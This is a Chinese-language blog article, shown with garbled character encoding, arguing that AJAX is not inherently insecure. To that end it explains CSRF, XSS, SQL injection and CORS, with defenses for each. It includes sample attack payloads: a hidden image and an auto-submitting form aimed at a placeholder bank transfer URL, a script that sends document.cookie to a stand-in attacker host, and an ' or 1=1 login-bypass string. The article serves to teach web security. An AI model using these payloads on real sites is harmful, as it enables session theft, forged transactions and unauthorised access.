開篇三問(wèn)
- AJAX請(qǐng)求真的不安全么?
- AJAX請(qǐng)求哪里不安全?
- 怎么樣讓AJAX請(qǐng)求更安全?
前言
日前網(wǎng)絡(luò)中流行圍繞AJAX和安全風(fēng)險(xiǎn)的討伐聲浪讓人不絕于耳。下面就來(lái)詳細(xì)談一談Web安全與AJAX的關(guān)系。
本文包含的內(nèi)容較多,包括AJAX,CORS,XSS,CSRF等內(nèi)容,要完整的看完并理解需要付出一定的時(shí)間。
另外,見解有限,如有描述不當(dāng)之處,請(qǐng)幫忙及時(shí)指出。
正文開始...
從入坑前端開始,一直到現(xiàn)在,AJAX請(qǐng)求都是以極高的頻率重復(fù)出現(xiàn),也解決過(guò)不少AJAX中遇到的問(wèn)題,如跨域調(diào)試,錯(cuò)誤調(diào)試等等。
從這種,發(fā)現(xiàn)了一個(gè)共通現(xiàn)象:那就是每次和后臺(tái)人員對(duì)接時(shí),他們都會(huì)提到AJAX請(qǐng)求不安全,請(qǐng)用普通http請(qǐng)求!
雖然很多時(shí)候,都是經(jīng)過(guò)多翻口舌之爭(zhēng)后,最終后臺(tái)那邊妥協(xié),允許部分符合條件的AJAX請(qǐng)求。但是,我卻很糾結(jié)一個(gè)問(wèn)題:AJAX請(qǐng)求真的不安全么?為什么我自己寫后臺(tái)時(shí)并沒有發(fā)現(xiàn)這個(gè)問(wèn)題?
于是,開始準(zhǔn)備搜集資料,結(jié)合自己已有的認(rèn)知,整理成一份解決方案,分析AJAX請(qǐng)求真的不安全么?哪里不安全?,后續(xù)遇到類似的問(wèn)題就直接向?qū)Ψ綊伋鲆黄恼?/p>
大綱
AJAX請(qǐng)求真的不安全么
- AJAX不安全的說(shuō)法從何而來(lái)
常見的幾種Web前端安全問(wèn)題
- CSRF簡(jiǎn)介
- CSRF與AJAX的關(guān)系
- XSS簡(jiǎn)介
- XSS與AJAX的關(guān)系
- SQL注入簡(jiǎn)介
- SQL注入與AJAX的關(guān)系
AJAX和HTTP請(qǐng)求的區(qū)別
CORS與AJAX安全性之間的關(guān)聯(lián)
- CORS與AJAX關(guān)系的簡(jiǎn)介
- 為什么要配置CORS?
- CORS會(huì)配置些什么信息?
- CORS Origin: *的安全性
再看,AJAX請(qǐng)求真的不安全么?
AJAX請(qǐng)求哪里不安全?
怎么樣讓AJAX請(qǐng)求更安全?
AJAX請(qǐng)求真的不安全么
首先,先說(shuō)一個(gè)定論:AJAX請(qǐng)求是否安全,由服務(wù)端(后臺(tái))決定
有這樣一個(gè)說(shuō)法:如果某個(gè)Web應(yīng)用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應(yīng)用本身存在漏洞,不管用何種技術(shù)請(qǐng)求,它都是不安全的
為何會(huì)有這種說(shuō)法?因?yàn)樵赪eb應(yīng)用中,客戶端輸入不可信是一個(gè)基本原則
AJAX不安全的說(shuō)法從何而來(lái)?
在AJAX出現(xiàn)時(shí),那時(shí)的服務(wù)端還是很古老的那一批,因此完全沒有考慮到AJAX出現(xiàn)后,前端請(qǐng)求方式會(huì)變得異常復(fù)雜,造成以前的安全策略已經(jīng)無(wú)法滿足要求了,導(dǎo)致大批的后臺(tái)安全漏洞曝光。。。
很顯然,都是因?yàn)锳JAX出現(xiàn)后曝光了更多的安全漏洞,導(dǎo)致它看起來(lái)很危險(xiǎn)(因?yàn)锳JAX出現(xiàn)后,請(qǐng)求方式變多了,以前的架構(gòu)在新的請(qǐng)求中就可能出現(xiàn)更多漏洞)
So,AJAX不安全的說(shuō)法自然擴(kuò)散到了各個(gè)角落。
常見的幾種Web前端安全問(wèn)題
要知道AJAX請(qǐng)求是否安全,那么就得先知道Web前端中到底有那幾種安全問(wèn)題
1.XSS(跨站腳本攻擊)(cross-site scripting)
-> 偽造會(huì)話(基于XSS實(shí)現(xiàn)CSRF)
-> 劫持cookie
-> 惡意代碼執(zhí)行
2.CSRF(跨站請(qǐng)求偽造)(cross-site request forgery)
-> 偽造用戶身份操作
3. SQL注入
...(其它暫且不提)
如上,Web前端中的安全問(wèn)題主要就是這幾大類(僅列舉部分做分析),所以我們首先要分析AJAX與這幾大類之間的關(guān)系。(XSS和CSRF,在下文也會(huì)做簡(jiǎn)單介紹。)
CSRF簡(jiǎn)介
CSRF,特征很簡(jiǎn)單:冒用用戶身份,進(jìn)行惡意操作
時(shí)至今日,這項(xiàng)安全漏洞已經(jīng)被人們剖析的很透徹了,隨便Google,百度之,都會(huì)找到很多的解釋。這里也用一張圖來(lái)先做簡(jiǎn)單描述:
(注,下面介紹參考了來(lái)源文章中的描述,譬如圖就是參考了來(lái)源中的博文后重繪的)
所以,我們看到關(guān)鍵條件是:
1. 采用cookie來(lái)進(jìn)行用戶校驗(yàn)
2. 登錄受信任網(wǎng)站A,并在本地生成Cookie
3. 在不登出A的情況下,訪問(wèn)危險(xiǎn)網(wǎng)站B
一般在(4)處惡意網(wǎng)站(B)的攻擊手段如下(必須是指向A的地址,否則無(wú)法帶上cookie):
// 1.譬如在網(wǎng)站內(nèi)的圖片資源中潛入惡意的轉(zhuǎn)賬操作
img src=http://www.bank.example/transfer?toBankId=helloamount=1000000 width='0' height='0'>
// 2.構(gòu)建惡意的隱藏表單,并通過(guò)腳本提交惡意請(qǐng)求
iframe style="display: none;" name="csrf-frame">/iframe>
form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
input type='hidden' name='toBankId' value='hello'>
input type='hidden' name='amount' value='1000000'>
input type='submit' value='submit'>
/form>
script>document.getElementById("csrf-form").submit()/script>
而且,從頭到尾,攻擊網(wǎng)站都沒有獲取到過(guò) cookie,都是通過(guò)瀏覽器間接實(shí)現(xiàn)(利用Web的cookie隱式身份驗(yàn)證機(jī)制),所以HttpOnly并不會(huì)影響這個(gè)攻擊
最后說(shuō)下,幾種常見的CSRF防御手段:
1. 驗(yàn)證HTTP Referer字段(非常簡(jiǎn)單,但是鑒于客戶端并不可信任,所以并不是很安全)
(防止CSRF,檢查Referer字段簡(jiǎn)單直接,但是其完全依賴瀏覽器發(fā)送正確的Referer字段。
雖然http協(xié)議對(duì)此字段的內(nèi)容有明確的規(guī)定,但并無(wú)法保證來(lái)訪的瀏覽器的具體實(shí)現(xiàn),亦無(wú)法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器,篡改其Referer字段的可能。)
2. 在請(qǐng)求地址中添加token并驗(yàn)證
(譬如post中,以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的token)
CSRF與AJAX的關(guān)系
上文中,我們看到CSRF的前提是cookie驗(yàn)證用戶身份,那么它與AJAX的關(guān)系大么?
我們先分析AJAX中帶cookie驗(yàn)證的情況:
1. AJAX受到瀏覽器的同源策略限制
2. AJAX默認(rèn)無(wú)法請(qǐng)求跨域的接口
(當(dāng)然后臺(tái)可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請(qǐng)求)
3. AJAX請(qǐng)求無(wú)法攜帶跨域cookie
(如果強(qiáng)行開啟withCredentials,必須服務(wù)端配合認(rèn)證,無(wú)法用作攻擊)
嗯哼...看到這,基本就可以認(rèn)為CSRF與AJAX請(qǐng)求無(wú)緣了。。。
譬如假設(shè)上圖中第4部分的請(qǐng)求由AJAX發(fā)起,假設(shè)網(wǎng)站A已經(jīng)允許了Access-Control-Allow-Origin: *,由于網(wǎng)站B與網(wǎng)站A是不同域名,所以存在跨域,根據(jù)同源策略,請(qǐng)求時(shí)根本就無(wú)法攜帶cookie,故而無(wú)法通過(guò)身份認(rèn)證,攻擊失敗。。。
就算強(qiáng)行開啟withCredentials,攜帶跨域cookie,但是由于服務(wù)端并不會(huì)單獨(dú)配置網(wǎng)站B的跨域cookie(需配置Access-Control-Allow-Credentials: true,而且這時(shí)候不允許設(shè)置Allow-Origin: *),所以肯定認(rèn)證失敗
可以看到,就算Access-Control-Allow-Origin: *允許所有來(lái)源的AJAX請(qǐng)求,跨域的cookie默認(rèn)情況下仍然是無(wú)法攜帶的,無(wú)法CSRF
所以說(shuō),結(jié)論是:CSRF與AJAX無(wú)關(guān)
XSS簡(jiǎn)介
既然CSRF與AJAX關(guān)系不大,那么XSS應(yīng)該會(huì)與AJAX有很大關(guān)系吧?(要不然為什么一直說(shuō)AJAX請(qǐng)求不安全,對(duì)吧。)。那么請(qǐng)繼續(xù)看下去(本文中只限JS范疇)
XSS(cross-site scripting),看起來(lái)簡(jiǎn)寫應(yīng)該是css更合適。。。但是為了和層疊式樣式表區(qū)分,就用XSS簡(jiǎn)寫表示
XSS的特征也可以概括為:跨域腳本注入,攻擊者通過(guò)某種方式將惡意代碼注入到網(wǎng)頁(yè)上,然后其他用戶觀看到被注入的頁(yè)面內(nèi)容后會(huì)受到特定攻擊
相比CSRF,XSS囊括的內(nèi)容更多,而且往往是多種攻擊形式組合而成,這里以前文中介紹的幾種為例:
1.cookie劫持
同樣,頁(yè)面中有一個(gè)評(píng)論輸入,輸入后會(huì),因?yàn)楹笈_(tái)的漏洞,沒有過(guò)濾特殊字符,會(huì)直接明文保存到數(shù)據(jù)庫(kù)中,然后展示到網(wǎng)頁(yè)時(shí)直接展示明文數(shù)據(jù),那么如下
%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
form action="saveComment.jsp" method="post">
請(qǐng)輸入評(píng)論內(nèi)容:BR>
input name="content" type="text">
input type="submit" value="確認(rèn)">
/form>
然后攻擊者分析后,輸入
script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)/script>
保存文章。很簡(jiǎn)單的代碼,由于沒有過(guò)濾腳本,那么其它用戶登陸后,在看到這篇文章時(shí)就會(huì)自動(dòng)將他們的cookie信息都發(fā)送到了攻擊者的服務(wù)器。
攻擊者可以在cookie(譬如jsessionid對(duì)應(yīng)的session)有效期內(nèi)拿它們冒充用戶操作。
需要注意,這里和CSRF的區(qū)別是,這里是拿到了cookie后主動(dòng)冒充用戶的,而CSRF中根本就不知cookie,僅利用瀏覽器的隱式校驗(yàn)方式冒充用戶。
2.會(huì)話偽造
同樣是評(píng)論漏洞的示例。
攻擊者輸入(舉例比喻)
img src=http://www.bank.example/transfer?toBankId=helloamount=1000000 width='0' height='0'>
然后,接下來(lái)發(fā)生的故事就和CSRF中提到的一致。這種情況就是基于XSS而開展的CSRF,也有人喜歡稱之為XSRF
需要注意,這里并沒有自己拿到cookie,而是CSRF中提到的利用瀏覽器的隱式驗(yàn)證機(jī)制來(lái)冒充用戶。
3.其它惡意代碼執(zhí)行
其實(shí)上面的cookie劫持以及會(huì)話偽造都算是惡意代碼執(zhí)行,為了區(qū)別,這里就專指前端的流氓JS。
譬如前面的評(píng)論中的輸入可以是:
譬如市面上盛行的網(wǎng)頁(yè)游戲彈窗等。
譬如干脆直接讓這個(gè)頁(yè)面卡死都可以。
譬如無(wú)限循環(huán)。
這里再提一點(diǎn),上述都是從前端輸入作為入口的,但實(shí)際上有一類的輸入也不可忽視,那就是:富文本攻擊
它的特點(diǎn)就是: 富文本中注入了腳本,并且前后端未進(jìn)行過(guò)濾,導(dǎo)致直接輸出到了頁(yè)面中
因?yàn)榇嬖诤芏囗?yè)面,都是將富文本內(nèi)容展示到網(wǎng)頁(yè)上的,沒有進(jìn)行過(guò)濾(哪怕時(shí)至今日,仍然有不少頁(yè)面),這樣只要富文本中有注入腳本,基本就中招了。。。
結(jié)論:
只要最終能向頁(yè)面輸出可執(zhí)行的腳本語(yǔ)句,那么就是有漏洞,XSS攻擊都有可能發(fā)生。
而且,基本上xss漏洞是很廣泛的,雖然攻擊類型很被動(dòng),也需要大量時(shí)間分析,但勝在大量的網(wǎng)站上都存在(特別是那種長(zhǎng)期不更新的)
再提一點(diǎn)。上述的介紹更多的是從造成的后果來(lái)看,但其實(shí)如果從攻擊手動(dòng)來(lái)看的話可以分為幾大類型:反射型XSS攻擊(直接通過(guò)URL注入,而且很多瀏覽器都自帶防御),存儲(chǔ)型XSS攻擊(存儲(chǔ)到DB后讀取時(shí)注入),還有一個(gè)DOM-Based型。
上述示例中都是存儲(chǔ)型,具體更多內(nèi)容網(wǎng)上已經(jīng)有很詳細(xì)的資料,這里不再繼續(xù)深入,放一張圖鞏固下。
如何預(yù)防XSS:
- 輸入過(guò)濾,不信任用戶的任何輸入,過(guò)濾其中的“”、“>”、“/”等可能導(dǎo)致腳本注入的特殊字符,
或者過(guò)濾“script”、“javascript”等腳本關(guān)鍵字,或者對(duì)輸入數(shù)據(jù)的長(zhǎng)度進(jìn)行限制等等,還得考慮攻擊者使用十六進(jìn)制編碼來(lái)輸入腳本的方式。
- 輸出進(jìn)行編碼,和輸入過(guò)濾類似,不過(guò)是從輸出上著手,數(shù)據(jù)輸出到頁(yè)面時(shí),經(jīng)過(guò)HtmlEncoder等工具編碼,這樣就不會(huì)存在直接輸出可執(zhí)行的腳本了
- cookie設(shè)置http-only,這樣用腳本就無(wú)法獲取cookie了
(這樣只有瀏覽器向Web服務(wù)器發(fā)起請(qǐng)求的時(shí)才會(huì)帶上cookie字段,避免了XSS攻擊利用JavaScript的document.cookie獲取cookie)
- Cookie防盜,盡可能地避免在Cookie中泄露隱私,如用戶名、密碼等;
或者,為了防止重放攻擊,可以將Cookie和IP進(jìn)行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。
- 注意,特別是后臺(tái),一定不能信任前端的輸入,需要過(guò)濾與校驗(yàn)
XSS與AJAX的關(guān)系
以上分析了XSS造成一些影響與問(wèn)題,仍然發(fā)現(xiàn):與AJAX關(guān)系不大,因?yàn)檫@些問(wèn)題不管用不用AJAX都會(huì)發(fā)生。
看看這種情況,譬如上述的富文本注入中:
1. 某個(gè)接口采用AJAX交互
2. AJAX請(qǐng)求完后將對(duì)應(yīng)富文本字段顯示到了頁(yè)面上-譬如innerHTML
但是,這真的與AJAX無(wú)關(guān),這是前后端沒有進(jìn)行輸入輸出過(guò)濾而造成的后果。
所以,還是那句話:如果某個(gè)Web應(yīng)用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應(yīng)用本身存在漏洞,不管用何種技術(shù)請(qǐng)求,它都是不安全的
SQL注入簡(jiǎn)介
sql注入展開將也是一門很大的學(xué)問(wèn),很早以前更是大行其道(當(dāng)然,現(xiàn)在...),這里僅僅舉幾個(gè)最極端的示例。
前提是后臺(tái)沒有過(guò)濾前端的輸入數(shù)據(jù),否則根本無(wú)法生效
假設(shè)頁(yè)面A中有一個(gè)登陸查詢存在拙劣的sql注入漏洞,這樣子的:(最極端,最傻的情況)
%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
form action="login.jsp" method="post">
請(qǐng)輸入用戶名與密碼:BR>
input name="name" type="text">
input name="password" type="text">
input type="submit" value="登陸">
/form>
在接收到登陸請(qǐng)求后,服務(wù)端的實(shí)際執(zhí)行代碼時(shí)是:
String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";
然而有攻擊者分析出后臺(tái)可能存在漏洞,嘗試sql注入攻擊,輸入
name = ' or 1=1
password = anything
那么這樣,后臺(tái)接收到數(shù)據(jù)后,實(shí)際上查詢的結(jié)果是
SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'
故而,攻擊者成功的繞過(guò)的用戶名,利用后臺(tái)漏洞登陸了。
當(dāng)然了,像這類這么低級(jí)的漏洞,現(xiàn)象幾乎已經(jīng)不存在了,往往這類型漏洞需要仔細(xì)分析,耗時(shí)。(又或者是有內(nèi)奸。。。)
SQL注入與AJAX的關(guān)系
額,從上述的示例中看不出和AJAX有什么關(guān)系。但是我們可以這樣假設(shè):
1. 有一個(gè)接口,接收AJAX post的數(shù)據(jù)
2. 數(shù)據(jù)中有一個(gè)字段 'name',后臺(tái)接收到后沒有進(jìn)行過(guò)濾,直接如上面的演示一樣,執(zhí)行sql語(yǔ)句了
3. 所以AJAX中如果給那個(gè)字段傳入非法的注入信息,就會(huì)觸發(fā)這個(gè)漏洞,導(dǎo)致攻擊生效
對(duì),就是這樣極端的情況下才會(huì)發(fā)生,而且與AJAX并沒有關(guān)系,因?yàn)閾Q成任何一種其它請(qǐng)求都會(huì)有類似的情況。。。
所以說(shuō),結(jié)論是:SQL注入與AJAX無(wú)關(guān)
AJAX和HTTP請(qǐng)求的區(qū)別
從本質(zhì)上將:AJAX就是瀏覽器發(fā)出的HTTP請(qǐng)求,只不過(guò)是瀏覽器加上了一個(gè)同源策略限制而已。
AJAX請(qǐng)求的XMLHTTPRequest對(duì)象就是瀏覽器開放給JS調(diào)用HTTP請(qǐng)求用的。
那么AJAX和HTTP的區(qū)別呢?列出以下幾點(diǎn):
- AJAX請(qǐng)求受到瀏覽器的同源策略限制,存在跨域問(wèn)題
- AJAX在進(jìn)行復(fù)雜請(qǐng)求時(shí),瀏覽器會(huì)預(yù)先發(fā)出OPTIONS預(yù)檢(HTTP自己是不會(huì)預(yù)檢的)
- 從使用角度上說(shuō),AJAX使用簡(jiǎn)單一點(diǎn),少了些底層細(xì)節(jié),多了些瀏覽器特性(如自動(dòng)帶上同域cookie等)
- 所以說(shuō),和認(rèn)證上的HTTP請(qǐng)求的區(qū)別就是-多了一次瀏覽器的封裝而已(瀏覽器會(huì)有自己的預(yù)處理,加上特定限制)
但是,從最終發(fā)出的報(bào)文來(lái)看,內(nèi)容都是一樣的(HTTP協(xié)議規(guī)范的內(nèi)容),AJAX是發(fā)送HTTP請(qǐng)求的一種方式
所以從這一點(diǎn)可以得出一個(gè)結(jié)論:AJAX本質(zhì)上安全性和HTTP請(qǐng)求一樣
CORS與AJAX安全性之間的關(guān)聯(lián)
按照前文中提到的內(nèi)容,基本無(wú)法得出AJAX與請(qǐng)求不安全的關(guān)聯(lián)。那么接下來(lái),再繼續(xù)分析,如果使用了跨域資源共享(CORS)后的安全性。
(因?yàn)橥鵤jax都會(huì)伴隨著CORS)
CORS與AJAX關(guān)系的簡(jiǎn)介
這是一個(gè)跨域共享方案,大致流程就是:(僅以復(fù)雜請(qǐng)求的預(yù)檢舉例-這一部分要求提前掌握CORS相關(guān)知識(shí))
1. 前端AJAX請(qǐng)求前發(fā)出一個(gè)OPTIONS預(yù)檢,會(huì)帶一堆相關(guān)頭部發(fā)送給服務(wù)端
2. 服務(wù)端在接受到預(yù)檢時(shí),檢查頭部,來(lái)源等信息是否合法,合法則接下來(lái)允許正常的請(qǐng)求,否則直接無(wú)情的拒絕掉
3. 瀏覽器端如果收到服務(wù)端拒絕的信息(響應(yīng)頭部檢查),就拋出對(duì)應(yīng)錯(cuò)誤。
否則就是正常的響應(yīng),接下來(lái)發(fā)出真正的請(qǐng)求(如POST)
請(qǐng)求和響應(yīng)的頭部信息大概如下:
Request Headers
// 在CORS中專門作為Origin信息供后端比對(duì),表示來(lái)源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法設(shè)置的頭部都將會(huì)以逗號(hào)隔開的形式包含在這個(gè)頭中,一般POST請(qǐng)求中就會(huì)帶上
Access-Control-Request-Method: OPTIONS
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
最終,客戶端發(fā)出的請(qǐng)求,必須符合服務(wù)端的校驗(yàn)規(guī)則才能正確,服務(wù)端才會(huì)返回正確頭部,否則只會(huì)請(qǐng)求失敗。報(bào)跨域錯(cuò)誤。
以上僅是簡(jiǎn)介,更多信息可以參考來(lái)源中的ajax跨域,這應(yīng)該是最全的解決方案了
為什么要配置CORS?
因?yàn)橥床呗韵拗?,AJAX無(wú)法請(qǐng)求跨域資源,CORS可以解決AJAX跨域請(qǐng)求問(wèn)題。
因此:在本文中,配置CORS只是為了AJAX能跨域請(qǐng)求
CORS會(huì)配置些什么信息?
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
如上,加上這個(gè)配置后,必須符合要求的才算是正常的請(qǐng)求,否則就會(huì)拒絕掉,一般AJAX跨域的話都會(huì)有OPTIONS,所以在預(yù)檢中就做了這一步。
可以看到,關(guān)鍵的可變信息是:Access-Control-Allow-Origin: http://xxx
這個(gè)配置就是域名白名單,規(guī)定在什么樣的域名下才能進(jìn)行AJAX跨域請(qǐng)求。
CORS Origin: *的安全性
關(guān)鍵問(wèn)題來(lái)了,在上面的CORS配置是這樣的:
Access-Control-Allow-Origin: http://xxx
但是這個(gè)配置只允許特定域名訪問(wèn),鑒于前端的復(fù)雜性,有時(shí)候調(diào)試起來(lái)不是很方便,因此有時(shí)候,會(huì)偷懶的設(shè)置為:
Access-Control-Allow-Origin: *
這個(gè)代表所有來(lái)源的跨域AJAX請(qǐng)求都能正常響應(yīng)。
接下來(lái)我們?cè)賮?lái)分析設(shè)置Origin: *可能帶來(lái)哪些問(wèn)題。(都是基于AJAX的情況)
問(wèn)題1:會(huì)對(duì)cookie認(rèn)證造成影響么?
不會(huì)。雖然*代表了所有來(lái)源都能正常請(qǐng)求,但是同源策略下,是無(wú)法帶上跨域cookie的。因此根本無(wú)法用身份驗(yàn)證。
而且,就算用withCredentials強(qiáng)行帶上跨域cookie,因?yàn)楹笈_(tái)沒有支持,所以會(huì)報(bào)錯(cuò)。(這可以看成是CORSs模型的最后一道防線)
再者,后臺(tái)就算配置Access-Control-Allow-Credentials允許跨域cookie,但是這時(shí)候的安全策略是Origin不允許為*,必須是一個(gè)明確的地址。
(否則你就可以看到瀏覽器的報(bào)錯(cuò)信息-跨域cookie時(shí),Origin不允許為*)
問(wèn)題2:如果偽造Origin頭部呢?
首先,標(biāo)準(zhǔn)的瀏覽器中是不允許你偽造的(除非有嚴(yán)重漏洞),所以一般需要通過(guò)模擬客戶端請(qǐng)求偽造。
但是。在非瀏覽器情況下,本來(lái)就沒有同源策略。這又是何必。。。
所以說(shuō),偽造Origin與CORS并沒有關(guān)系。
問(wèn)題3:如果后臺(tái)本來(lái)就存在漏洞呢?
做這樣一個(gè)假設(shè),假設(shè)用戶所在網(wǎng)絡(luò)的內(nèi)網(wǎng)中有一臺(tái)內(nèi)網(wǎng)服務(wù)器,并且配置了允許所有的跨域請(qǐng)求:(當(dāng)然,外網(wǎng)是請(qǐng)求不到內(nèi)網(wǎng)的)
// 允許任何來(lái)自任意域的跨域請(qǐng)求
Access-Control-Allow-Origin: *
再假設(shè)內(nèi)網(wǎng)服務(wù)器上恰巧存在敏感資源,并且沒有額外設(shè)防,只要內(nèi)網(wǎng)就能訪問(wèn)。譬如:
然后用戶訪問(wèn)了惡意網(wǎng)頁(yè),而像HTML之類的網(wǎng)頁(yè)都是下載到本地執(zhí)行的,正好網(wǎng)頁(yè)內(nèi)有惡意代碼,去向192.168.111.23/users.md請(qǐng)求資源,再將接收到的服務(wù)端返回發(fā)送到攻擊者服務(wù)器。
(因?yàn)榧恿薕rigin為*,而且AJAX是由本地瀏覽器發(fā)出的,所以用戶下載到本地的惡意網(wǎng)站是可以訪問(wèn)到用戶內(nèi)網(wǎng)中的后臺(tái)的)
然后這些敏感數(shù)據(jù)就這樣被盜取了。
But,這是因?yàn)榉?wù)端漏洞而存在的問(wèn)題,設(shè)置Origin為的后臺(tái)上為何要放置敏感資源?正常設(shè)置為Origin為的最大作用是用作公共API。
而且更重要的是,為何敏感資源就這樣輕易的被獲取了?為什么沒有二次驗(yàn)證?
SO,后臺(tái)本身有漏洞,所以才導(dǎo)致被攻擊,AJAX恰好是攻擊的手段之一(除了AJAX外還會(huì)有其它的方式),所以很多鍋都甩到了AJAX頭上。
這樣,可以得出一個(gè)保守點(diǎn)的結(jié)論:
Origin如果不是*,AJAX請(qǐng)求并不會(huì)有安全問(wèn)題,如果是*,可能會(huì)由于后臺(tái)的漏洞,不經(jīng)意間,AJAX就被作為一種攻擊手段了,導(dǎo)致了出現(xiàn)AJAX不安全的說(shuō)法
再看,AJAX請(qǐng)求真的不安全么?
仍然是最初的結(jié)論:
如果某個(gè)Web應(yīng)用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應(yīng)用本身存在漏洞,不管用何種技術(shù)請(qǐng)求,它都是不安全的
我們可以看到,XSS也好,CSRF也好,以及其它隱藏的可能漏洞也好,本質(zhì)上都是后臺(tái)已有漏洞造成的問(wèn)題,AJAX最多是被用作一種攻擊手段(甚至某些里面AJAX還無(wú)法使用)
提到AJAX請(qǐng)求不安全的,譬如有CORS里面配置Origin: *造成某些極端情況下能通過(guò)AJAX發(fā)出攻擊。但事實(shí)上這也是其中的一種攻擊手段而已,沒有AJAX,該不安全的仍然不安全。
譬如還有的說(shuō)法是:因?yàn)樵贏JAX出現(xiàn)以前,如果出現(xiàn)安全漏洞,容易被察覺,但AJAX是異步的,更容易隱式的出現(xiàn)安全問(wèn)題。。。這也與安全性的本質(zhì)無(wú)關(guān)。
最重要一點(diǎn),從Web應(yīng)用安全角度來(lái)談,Web應(yīng)用必須從不信任客戶端。所以不要再把鍋甩給AJAX。
AJAX請(qǐng)求哪里不安全?
同上,AJAX本身并不存在這種安全問(wèn)題。
不過(guò)有一點(diǎn)需注意,如果使用了CORS方案。
1. Allow-Origin可以設(shè)置特定的值,過(guò)濾特定的白名單
2. 對(duì)于一些公共的API,可以直接將Allow-Origin設(shè)置為`*`
3. 當(dāng)然,如果確認(rèn)后臺(tái)沒有這些隱藏漏洞,可以直接使用`*`,畢竟也只是針對(duì)瀏覽器的同源策略而已,影響沒有那么大。
怎么樣讓AJAX請(qǐng)求更安全?
仍然是文中反復(fù)提到的結(jié)論:
讓W(xué)eb后臺(tái)更安全,則AJAX請(qǐng)求也更安全,反之后臺(tái)有漏洞,不管怎么樣都是不安全的
寫在最后的話
這樣的話,應(yīng)該可以把AJAX不安全的鍋甩掉了吧?
附錄
參考資料
- 跨站請(qǐng)求偽造
- 跨站腳本
- 淺談CSRF攻擊方式
- XSS攻擊及防御
- 前端安全之XSS攻擊
- AJAX真的不安全?
- AJAX 如何保證數(shù)據(jù)的安全性?
- Web 開發(fā)常見安全問(wèn)題
- 跨域資源共享(CORS)安全性淺析
- ajax跨域,這應(yīng)該是最全的解決方案了
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問(wèn)大家可以留言交流,謝謝大家對(duì)腳本之家的支持。
您可能感興趣的文章:- 使用PHPRPC實(shí)現(xiàn)Ajax安全登錄
- Ajax實(shí)現(xiàn)漂亮、安全的登錄界面
- Ajax技術(shù)(WEB無(wú)刷新提交數(shù)據(jù))-
- JQuery中ajax方法訪問(wèn)web服務(wù)實(shí)例
- 如何使用ajax開發(fā)web應(yīng)用程序